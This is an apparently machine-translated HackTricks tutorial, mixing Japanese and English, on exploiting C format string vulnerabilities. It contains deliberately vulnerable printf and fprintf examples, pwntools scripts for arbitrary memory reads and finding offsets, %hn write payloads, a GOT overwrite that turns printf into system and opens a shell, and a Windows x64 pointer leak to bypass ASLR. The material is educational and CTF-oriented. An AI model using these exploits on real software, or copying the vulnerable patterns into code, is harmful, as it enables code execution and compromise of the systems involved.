Format Strings
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
In C printf
is a function that can be used to 出力するために使われる関数です。
この関数が期待する最初のパラメータは書式指定子を含む生のテキストです。
続くパラメータはそのテキスト内の書式指定子を置き換える値になります。
Other vulnerable functions are sprintf()
and fprintf()
.
この脆弱性は、関数の最初の引数として攻撃者が用意したテキストが使われるときに発生します。
攻撃者はprintf format文字列の機能を悪用した特殊な入力を作成することで任意のアドレスからデータを読み取り/書き込み (readable/writable)できるようになります。
この手法によりexecute arbitrary codeすることも可能になります。
書式指定子:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
例:
- 脆弱な例:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- 通常の使用:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- 引数が不足している場合:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf 脆弱性:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
ポインタへのアクセス
書式 %<n>$x
(n
は数値)は、printf に n 番目のパラメータ(stack から)を選ばせるためのものです。したがって、printf を使って stack から 4 番目のパラメータを読みたい場合は、次のようにできます:
printf("%x %x %x %x")
そして最初から4番目のパラメータまでを読み取ります。
または、次のようにすることもできます:
printf("%4$x")
そして直接4番目を読み取る。
Notice that the attacker controls the printf
parameter, which basically means that his input is going to be in the stack when printf
is called, which means that he could write specific memory addresses in the stack.
caution
攻撃者がこの入力を制御できる場合、stackに任意の address を追加し、printf
にそれらへアクセスさせることが可能になります。次のセクションでこの挙動の利用方法を説明します。
Arbitrary Read
フォーマッタ %n$s
を使うと、printf
に address が n position に位置しているものを取得させ、それに従って 文字列として出力(0x00 が見つかるまで出力)させることができます。したがって、バイナリのベースアドレスが 0x8048000
で、ユーザ入力がstackの4番目の位置で始まることが分かっている場合、バイナリの先頭を次のように出力できます:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
入力の先頭にアドレス 0x8048000 を置くことはできません。なぜならそのアドレスの末尾に 0x00 があり、文字列がそこに cat されるからです。
オフセットを見つける
オフセットを見つけるには、4 または 8 バイト(0x41414141
)を送り、その後に %1$x
を付け、A
が返るまで 値を増やす。
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
どの程度有用か
Arbitrary reads は次の用途で有用です:
- Dump the binary from memory
- Access specific parts of memory where sensitive info が格納されている(like canaries, encryption keys or custom passwords like in this CTF challenge)
Arbitrary Write
フォーマッタ %<num>$n
は、stack 上の %<num>$n
を使って任意のアドレスに任意の数値を書き込むことが可能になります。
幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりに、フォーマッタ %.<num-write>%<num>$n
を使って、数値 <num-write>
を stack の num
位置が指すアドレス に書き込むことができます。
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
ただし、通常、0x08049724
のようなアドレス(同時に書き込むには非常に大きな値)を書き込む際は、$n
の代わりに $hn
が使われます。これにより2バイトだけを書き込むことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。
したがって、この脆弱性により、任意のアドレスに**何でも書き込むことが可能(arbitrary write)**です。
In this example, the goal is going to be to overwrite the address of a function in the GOT table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
We are going to overwrite a function that receives its arguments from the user and point it to the system
function.
As mentioned, to write the address, usually 2 steps are needed: You first writes 2Bytes of the address and then the other 2. To do so $hn
is used.
- HOB is called to the 2 higher bytes of the address
- LOB is called to the 2 lower bytes of the address
Then, because of how format string works you need to write first the smallest of [HOB, LOB] and then the other one.
HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するためのテンプレートは、次で見つけられます:
あるいは、here にある基本的な例:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
format string vulnerability の書き込み動作を悪用して、スタック上のアドレスに書き込むことで、buffer overflow 型の脆弱性を悪用することが可能です。
Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64では、最初の4つの整数/ポインタ引数がレジスタ(RCX, RDX, R8, R9)で渡されます。多くのバグのある call-sites では、攻撃者制御の文字列が format 引数として使われているが、variadic 引数は提供されていない、例えば:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
可変引数が渡されないため、"%p", "%x", "%s" のような変換は CRT に次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling convention では、"%p" に対する最初の読み取りが R9 から行われます。コールサイトで R9 に入っている一時的な値が出力されます。実際には、これはしばしばモジュール内の安定したポインタ(例: 周辺のコードによって以前に R9 に置かれたローカル/グローバルオブジェクトへのポインタや callee-saved 値)を漏らし、モジュールベースを復元して ASLR を無効化するために使えます。
Practical workflow:
- 攻撃者が制御する文字列の先頭に、"%p " のような無害なフォーマットを挿入し、最初の変換がフィルタリングより先に実行されるようにする。
- leaked pointer を取得し、そのオブジェクトのモジュール内での静的オフセットを特定する(シンボルやローカルコピーで一度リバースする)。そしてイメージベースを
leak - known_offset
として復元する。 - そのベースを再利用して、ROP gadgets と IAT entries の絶対アドレスをリモートで計算する。
例(簡略化した python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
注意:
- 差し引く正確なオフセットは、ローカルでのリバース中に一度特定し、それ以降は同じバイナリ/バージョンで再利用します。
- 最初の試行で"%p"が有効なポインタを出力しない場合は、他の指定子("%llx", "%s")や複数の変換("%p %p %p")を試して、他の引数レジスタ/スタックをサンプリングしてください。
- このパターンは、Windows x64 calling convention と printf-family の実装に特有で、フォーマット文字列が要求したときに存在しない varargs をレジスタから取得する場合に当てはまります。
この手法は、ASLR が有効で明白なメモリ開示プリミティブがない Windows サービス上で ROP をブートストラップする際に非常に有用です。
その他の例 & 参考
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit、no relro、no canary、nx、no pie、format strings を使った基本的な手法で、スタックから flag を leak する(実行フローを変更する必要はない)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit、relro、no canary、nx、no pie、format string を使って
fflush
のアドレスを win function(ret2win)で上書きする - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit、relro、no canary、nx、no pie、format string を使って main 内の
.fini_array
にアドレスを書き込み(これによりフローがもう1回ループする)、GOT テーブル内のstrlen
を指すエントリにsystem
のアドレスを書き込む。フローが main に戻ると、strlen
がユーザ入力で呼ばれ、system
を指しているため、渡されたコマンドが実行される。
References
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。